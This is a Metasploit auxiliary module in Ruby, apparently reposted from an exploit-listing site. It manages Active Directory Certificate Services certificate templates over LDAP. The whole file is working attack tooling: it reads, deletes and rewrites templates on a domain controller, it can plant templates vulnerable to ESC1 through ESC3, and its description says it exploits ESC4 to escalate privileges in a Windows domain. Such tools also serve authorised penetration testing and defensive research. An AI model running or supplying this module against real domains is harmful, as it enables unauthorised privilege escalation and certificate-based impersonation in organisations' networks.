Share
## https://sploitus.com/exploit?id=PACKETSTORM:180773
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
  
include Msf::Exploit::Remote::LDAP  
include Msf::OptionalSession::LDAP  
include Msf::Auxiliary::Report  
  
IGNORED_ATTRIBUTES = [  
'dn',  
'distinguishedName',  
'objectClass',  
'cn',  
'whenCreated',  
'whenChanged',  
'name',  
'objectGUID',  
'objectCategory',  
'dSCorePropagationData',  
'msPKI-Cert-Template-OID',  
'uSNCreated',  
'uSNChanged',  
'displayName',  
'instanceType',  
'revision',  
'msPKI-Template-Schema-Version',  
'msPKI-Template-Minor-Revision',  
].freeze  
  
# LDAP_SERVER_SD_FLAGS constant definition, taken from https://ldapwiki.com/wiki/LDAP_SERVER_SD_FLAGS_OID  
LDAP_SERVER_SD_FLAGS_OID = '1.2.840.113556.1.4.801'.freeze  
OWNER_SECURITY_INFORMATION = 0x1  
GROUP_SECURITY_INFORMATION = 0x2  
DACL_SECURITY_INFORMATION = 0x4  
SACL_SECURITY_INFORMATION = 0x8  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'AD CS Certificate Template Management',  
'Description' => %q{  
This module can create, read, update, and delete AD CS certificate templates from a Active Directory Domain  
Controller.  
  
The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be  
restored using the CREATE or UPDATE actions. The CREATE and UPDATE actions require a certificate template data  
file to be specified to define the attributes. Template data files are provided to create a template that is  
vulnerable to ESC1, ESC2, and ESC3.  
  
This module is capable of exploiting ESC4.  
},  
'Author' => [  
'Will Schroeder', # original idea/research  
'Lee Christensen', # original idea/research  
'Oliver Lyak', # certipy implementation  
'Spencer McIntyre'  
],  
'References' => [  
[ 'URL', 'https://github.com/GhostPack/Certify' ],  
[ 'URL', 'https://github.com/ly4k/Certipy' ]  
],  
'License' => MSF_LICENSE,  
'Actions' => [  
['CREATE', { 'Description' => 'Create the certificate template' }],  
['READ', { 'Description' => 'Read the certificate template' }],  
['UPDATE', { 'Description' => 'Modify the certificate template' }],  
['DELETE', { 'Description' => 'Delete the certificate template' }]  
],  
'DefaultAction' => 'READ',  
'Notes' => {  
'Stability' => [],  
'SideEffects' => [CONFIG_CHANGES],  
'Reliability' => [],  
'AKA' => [ 'Certifry', 'Certipy' ]  
}  
)  
)  
  
register_options([  
OptString.new('BASE_DN', [false, 'LDAP base DN if you already have it']),  
OptString.new('CERT_TEMPLATE', [ true, 'The remote certificate template name', 'User' ]),  
OptPath.new('TEMPLATE_FILE', [ false, 'Local template definition file', File.join(::Msf::Config.data_directory, 'auxiliary', 'admin', 'ldap', 'ad_cs_cert_template', 'esc1_template.yaml') ])  
])  
end  
  
def ldap_get(filter, attributes: [], base: nil, controls: [])  
base ||= @base_dn  
raw_obj = @ldap.search(base: base, filter: filter, attributes: attributes, controls: controls).first  
validate_query_result!(@ldap.get_operation_result.table)  
return nil unless raw_obj  
  
obj = {}  
raw_obj.attribute_names.each do |attr|  
obj[attr.to_s] = raw_obj[attr].map(&:to_s)  
end  
  
obj  
end  
  
def run  
ldap_connect do |ldap|  
validate_bind_success!(ldap)  
  
if (@base_dn = datastore['BASE_DN'])  
print_status("User-specified base DN: #{@base_dn}")  
else  
print_status('Discovering base DN automatically')  
  
unless (@base_dn = ldap.base_dn)  
fail_with(Failure::NotFound, "Couldn't discover base DN!")  
end  
end  
@ldap = ldap  
  
send("action_#{action.name.downcase}")  
print_good('The operation completed successfully!')  
end  
rescue Errno::ECONNRESET  
fail_with(Failure::Disconnected, 'The connection was reset.')  
rescue Rex::ConnectionError => e  
fail_with(Failure::Unreachable, e.message)  
rescue Rex::Proto::Kerberos::Model::Error::KerberosError => e  
fail_with(Failure::NoAccess, e.message)  
rescue Net::LDAP::Error => e  
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")  
end  
  
def get_certificate_template  
obj = ldap_get(  
"(&(cn=#{datastore['CERT_TEMPLATE']})(objectClass=pKICertificateTemplate))",  
base: "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",  
controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)]  
)  
fail_with(Failure::NotFound, 'The specified template was not found.') unless obj  
  
print_good("Read certificate template data for: #{obj['dn'].first}")  
stored = store_loot(  
'windows.ad.cs.template',  
'application/json',  
rhost,  
dump_to_json(obj),  
"#{datastore['CERT_TEMPLATE'].downcase.gsub(' ', '_')}_template.json",  
"#{datastore['CERT_TEMPLATE']} Certificate Template"  
)  
print_status("Certificate template data written to: #{stored}")  
obj  
end  
  
def get_domain_sid  
return @domain_sid if @domain_sid.present?  
  
obj = ldap_get('(objectClass=domain)', attributes: %w[name objectSID])  
fail_with(Failure::NotFound, 'The domain SID was not found!') unless obj&.fetch('objectsid', nil)  
  
Rex::Proto::MsDtyp::MsDtypSid.read(obj['objectsid'].first)  
end  
  
def get_pki_oids  
return @pki_oids if @pki_oids.present?  
  
raw_objs = @ldap.search(  
base: "CN=OID,CN=Public Key Services,CN=Services,CN=Configuration,#{@base_dn}",  
filter: '(objectClass=msPKI-Enterprise-OID)'  
)  
validate_query_result!(@ldap.get_operation_result.table)  
return nil unless raw_objs  
  
@pki_oids = []  
raw_objs.each do |raw_obj|  
obj = {}  
raw_obj.attribute_names.each do |attr|  
obj[attr.to_s] = raw_obj[attr].map(&:to_s)  
end  
  
@pki_oids << obj  
end  
@pki_oids  
end  
  
def get_pki_oid_displayname(oid)  
oid_obj = get_pki_oids.find { |o| o['mspki-cert-template-oid'].first == oid }  
return nil unless oid_obj && oid_obj['displayname'].present?  
  
oid_obj['displayname'].first  
end  
  
def dump_to_json(template)  
json = {}  
  
template.each do |attribute, values|  
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }  
  
json[attribute] = values.map do |value|  
value.each_byte.map { |b| b.to_s(16).rjust(2, '0') }.join  
end  
end  
  
json.to_json  
end  
  
def load_from_json(json)  
template = {}  
  
JSON.parse(json).each do |attribute, values|  
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }  
  
template[attribute] = values.map do |value|  
value.scan(/../).map { |x| x.hex.chr }.join  
end  
end  
  
template  
end  
  
def load_from_yaml(yaml)  
template = {}  
  
YAML.safe_load(yaml).each do |attribute, value|  
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }  
  
if attribute.casecmp?('nTSecurityDescriptor')  
unless value.is_a?(String)  
fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.')  
end  
  
# if the string only contains printable characters, treat it as SDDL  
if value !~ /[^[:print:]]/  
begin  
vprint_status("Parsing SDDL text: #{value}")  
descriptor = Rex::Proto::MsDtyp::MsDtypSecurityDescriptor.from_sddl_text(value, domain_sid: get_domain_sid)  
rescue RuntimeError => e  
fail_with(Failure::BadConfig, e.message)  
end  
  
value = descriptor.to_binary_s  
elsif !value.start_with?("\x01".b)  
fail_with(Failure::BadConfig, 'The local template file specified an invalid nTSecurityDescriptor.')  
end  
end  
  
value = [ value ] unless value.is_a?(Array)  
template[attribute] = value.map(&:to_s)  
end  
  
template  
end  
  
def load_local_template  
if datastore['TEMPLATE_FILE'].blank?  
fail_with(Failure::BadConfig, 'No local template file was specified in TEMPLATE_FILE.')  
end  
  
unless File.readable?(datastore['TEMPLATE_FILE']) && File.file?(datastore['TEMPLATE_FILE'])  
fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a readable file.')  
end  
  
file_data = File.read(datastore['TEMPLATE_FILE'])  
if datastore['TEMPLATE_FILE'].downcase.end_with?('.json')  
load_from_json(file_data)  
elsif datastore['TEMPLATE_FILE'].downcase.end_with?('.yaml') || datastore['TEMPLATE_FILE'].downcase.end_with?('.yml')  
load_from_yaml(file_data)  
else  
fail_with(Failure::BadConfig, 'TEMPLATE_FILE must be a JSON or YAML file.')  
end  
end  
  
def ms_security_descriptor_control(flags)  
control_values = [flags].map(&:to_ber).to_ber_sequence.to_s.to_ber  
[LDAP_SERVER_SD_FLAGS_OID.to_ber, control_values].to_ber_sequence  
end  
  
def action_create  
dn = "CN=#{datastore['CERT_TEMPLATE']},"  
dn << 'CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,'  
dn << @base_dn  
  
# defaults to create one from the builtin SubCA template  
# the nTSecurityDescriptor and objectGUID fields will be set automatically so they can be omitted  
attributes = {  
'objectclass' => ['top', 'pKICertificateTemplate'],  
'cn' => datastore['CERT_TEMPLATE'],  
'instancetype' => '4',  
'displayname' => datastore['CERT_TEMPLATE'],  
'usncreated' => '16437',  
'usnchanged' => '16437',  
'showinadvancedviewonly' => 'TRUE',  
'name' => datastore['CERT_TEMPLATE'],  
'flags' => '66257',  
'revision' => '5',  
'objectcategory' => "CN=PKI-Certificate-Template,CN=Schema,CN=Configuration,#{@base_dn}",  
'pkidefaultkeyspec' => '2',  
'pkikeyusage' => "\x86\x00".b,  
'pkimaxissuingdepth' => '-1',  
'pkicriticalextensions' => ['2.5.29.15', '2.5.29.19'],  
'pkiexpirationperiod' => "\x00@\x1E\xA4\xE8e\xFA\xFF".b,  
'pkioverlapperiod' => "\x00\x80\xA6\n\xFF\xDE\xFF\xFF".b,  
'pkidefaultcsps' => '1,Microsoft Enhanced Cryptographic Provider v1.0',  
'dscorepropagationdata' => '16010101000000.0Z',  
'mspki-ra-signature' => '0',  
'mspki-enrollment-flag' => '0',  
'mspki-private-key-flag' => '16',  
'mspki-certificate-name-flag' => '1',  
'mspki-minimal-key-size' => '2048',  
'mspki-template-schema-version' => '1',  
'mspki-template-minor-revision' => '1',  
'mspki-cert-template-oid' => '1.3.6.1.4.1.311.21.8.9238385.12403672.2312086.11590436.9092015.147.1.18'  
}  
  
unless datastore['TEMPLATE_FILE'].blank?  
load_local_template.each do |key, value|  
key = key.downcase  
next if %w[dn distinguishedname objectguid].include?(key)  
  
attributes[key.downcase] = value  
end  
end  
  
# can not contain dn, distinguishedname, or objectguid  
print_status("Creating: #{dn}")  
@ldap.add(dn: dn, attributes: attributes)  
validate_query_result!(@ldap.get_operation_result.table)  
end  
  
def action_delete  
obj = get_certificate_template  
  
@ldap.delete(dn: obj['dn'].first)  
validate_query_result!(@ldap.get_operation_result.table)  
end  
  
def action_read  
obj = get_certificate_template  
  
print_status('Certificate Template:')  
print_status(" distinguishedName: #{obj['distinguishedname'].first}")  
print_status(" displayName: #{obj['displayname'].first}") if obj['displayname'].present?  
if obj['objectguid'].first.present?  
object_guid = Rex::Proto::MsDtyp::MsDtypGuid.read(obj['objectguid'].first)  
print_status(" objectGUID: #{object_guid}")  
end  
  
pki_flag = obj['mspki-certificate-name-flag']&.first  
if pki_flag.present?  
pki_flag = [obj['mspki-certificate-name-flag'].first.to_i].pack('l').unpack1('L')  
print_status(" msPKI-Certificate-Name-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")  
%w[  
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT  
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT_ALT_NAME  
CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS  
CT_FLAG_SUBJECT_ALT_REQUIRE_SPN  
CT_FLAG_SUBJECT_ALT_REQUIRE_DIRECTORY_GUID  
CT_FLAG_SUBJECT_ALT_REQUIRE_UPN  
CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL  
CT_FLAG_SUBJECT_ALT_REQUIRE_DNS  
CT_FLAG_SUBJECT_REQUIRE_DNS_AS_CN  
CT_FLAG_SUBJECT_REQUIRE_EMAIL  
CT_FLAG_SUBJECT_REQUIRE_COMMON_NAME  
CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH  
CT_FLAG_OLD_CERT_SUPPLIES_SUBJECT_AND_ALT_NAME  
].each do |flag_name|  
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0  
print_status(" * #{flag_name}")  
end  
end  
end  
  
pki_flag = obj['mspki-enrollment-flag']&.first  
if pki_flag.present?  
pki_flag = [obj['mspki-enrollment-flag'].first.to_i].pack('l').unpack1('L')  
print_status(" msPKI-Enrollment-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")  
%w[  
CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS  
CT_FLAG_PEND_ALL_REQUESTS  
CT_FLAG_PUBLISH_TO_KRA_CONTAINER  
CT_FLAG_PUBLISH_TO_DS  
CT_FLAG_AUTO_ENROLLMENT_CHECK_USER_DS_CERTIFICATE  
CT_FLAG_AUTO_ENROLLMENT  
CT_FLAG_PREVIOUS_APPROVAL_VALIDATE_REENROLLMENT  
CT_FLAG_USER_INTERACTION_REQUIRED  
CT_FLAG_REMOVE_INVALID_CERTIFICATE_FROM_PERSONAL_STORE  
CT_FLAG_ALLOW_ENROLL_ON_BEHALF_OF  
CT_FLAG_ADD_OCSP_NOCHECK  
CT_FLAG_ENABLE_KEY_REUSE_ON_NT_TOKEN_KEYSET_STORAGE_FULL  
CT_FLAG_NOREVOCATIONINFOINISSUEDCERTS  
CT_FLAG_INCLUDE_BASIC_CONSTRAINTS_FOR_EE_CERTS  
CT_FLAG_ALLOW_PREVIOUS_APPROVAL_KEYBASEDRENEWAL_VALIDATE_REENROLLMENT  
CT_FLAG_ISSUANCE_POLICIES_FROM_REQUEST  
CT_FLAG_SKIP_AUTO_RENEWAL  
].each do |flag_name|  
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0  
print_status(" * #{flag_name}")  
end  
end  
end  
  
pki_flag = obj['mspki-private-key-flag']&.first  
if pki_flag.present?  
pki_flag = [obj['mspki-private-key-flag'].first.to_i].pack('l').unpack1('L')  
print_status(" msPKI-Private-Key-Flag: 0x#{pki_flag.to_s(16).rjust(8, '0')}")  
%w[  
CT_FLAG_REQUIRE_PRIVATE_KEY_ARCHIVAL  
CT_FLAG_EXPORTABLE_KEY  
CT_FLAG_STRONG_KEY_PROTECTION_REQUIRED  
CT_FLAG_REQUIRE_ALTERNATE_SIGNATURE_ALGORITHM  
CT_FLAG_REQUIRE_SAME_KEY_RENEWAL  
CT_FLAG_USE_LEGACY_PROVIDER  
CT_FLAG_ATTEST_NONE  
CT_FLAG_ATTEST_REQUIRED  
CT_FLAG_ATTEST_PREFERRED  
CT_FLAG_ATTESTATION_WITHOUT_POLICY  
CT_FLAG_EK_TRUST_ON_USE  
CT_FLAG_EK_VALIDATE_CERT  
CT_FLAG_EK_VALIDATE_KEY  
CT_FLAG_HELLO_LOGON_KEY  
].each do |flag_name|  
if pki_flag & Rex::Proto::MsCrtd.const_get(flag_name) != 0  
print_status(" * #{flag_name}")  
end  
end  
end  
  
pki_flag = obj['mspki-ra-signature']&.first  
if pki_flag.present?  
pki_flag = [pki_flag.to_i].pack('l').unpack1('L')  
print_status(" msPKI-RA-Signature: 0x#{pki_flag.to_s(16).rjust(8, '0')}")  
end  
  
if obj['mspki-certificate-policy'].present?  
if obj['mspki-certificate-policy'].length == 1  
if (oid_name = get_pki_oid_displayname(obj['mspki-certificate-policy'].first)).present?  
print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first} (#{oid_name})")  
else  
print_status(" msPKI-Certificate-Policy: #{obj['mspki-certificate-policy'].first}")  
end  
else  
print_status(' msPKI-Certificate-Policy:')  
obj['mspki-certificate-policy'].each do |value|  
if (oid_name = get_pki_oid_displayname(value)).present?  
print_status(" * #{value} (#{oid_name})")  
else  
print_status(" * #{value}")  
end  
end  
end  
end  
  
if obj['mspki-template-schema-version'].present?  
print_status(" msPKI-Template-Schema-Version: #{obj['mspki-template-schema-version'].first.to_i}")  
end  
  
pki_flag = obj['pkikeyusage']&.first  
if pki_flag.present?  
pki_flag = [pki_flag.to_i].pack('l').unpack1('L')  
print_status(" pKIKeyUsage: 0x#{pki_flag.to_s(16).rjust(8, '0')}")  
end  
  
if obj['pkiextendedkeyusage'].present?  
print_status(' pKIExtendedKeyUsage:')  
obj['pkiextendedkeyusage'].each do |value|  
if (oid = Rex::Proto::CryptoAsn1::OIDs.value(value)) && oid.label.present?  
print_status(" * #{value} (#{oid.label})")  
else  
print_status(" * #{value}")  
end  
end  
end  
  
if obj['pkimaxissuingdepth'].present?  
print_status(" pKIMaxIssuingDepth: #{obj['pkimaxissuingdepth'].first.to_i}")  
end  
end  
  
def action_update  
obj = get_certificate_template  
new_configuration = load_local_template  
  
operations = []  
obj.each do |attribute, value|  
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }  
  
if new_configuration.keys.any? { |word| word.casecmp?(attribute) }  
new_value = new_configuration.find { |k, _| k.casecmp?(attribute) }.last  
unless value.tally == new_value.tally  
operations << [:replace, attribute, new_value]  
end  
else  
operations << [:delete, attribute, nil]  
end  
end  
  
new_configuration.each_key do |attribute|  
next if IGNORED_ATTRIBUTES.any? { |word| word.casecmp?(attribute) }  
next if obj.keys.any? { |i| i.casecmp?(attribute) }  
  
operations << [:add, attribute, new_configuration[attribute]]  
end  
  
if operations.empty?  
print_good('There are no changes to be made.')  
return  
end  
  
@ldap.modify(dn: obj['dn'].first, operations: operations, controls: [ms_security_descriptor_control(DACL_SECURITY_INFORMATION)])  
validate_query_result!(@ldap.get_operation_result.table)  
end  
end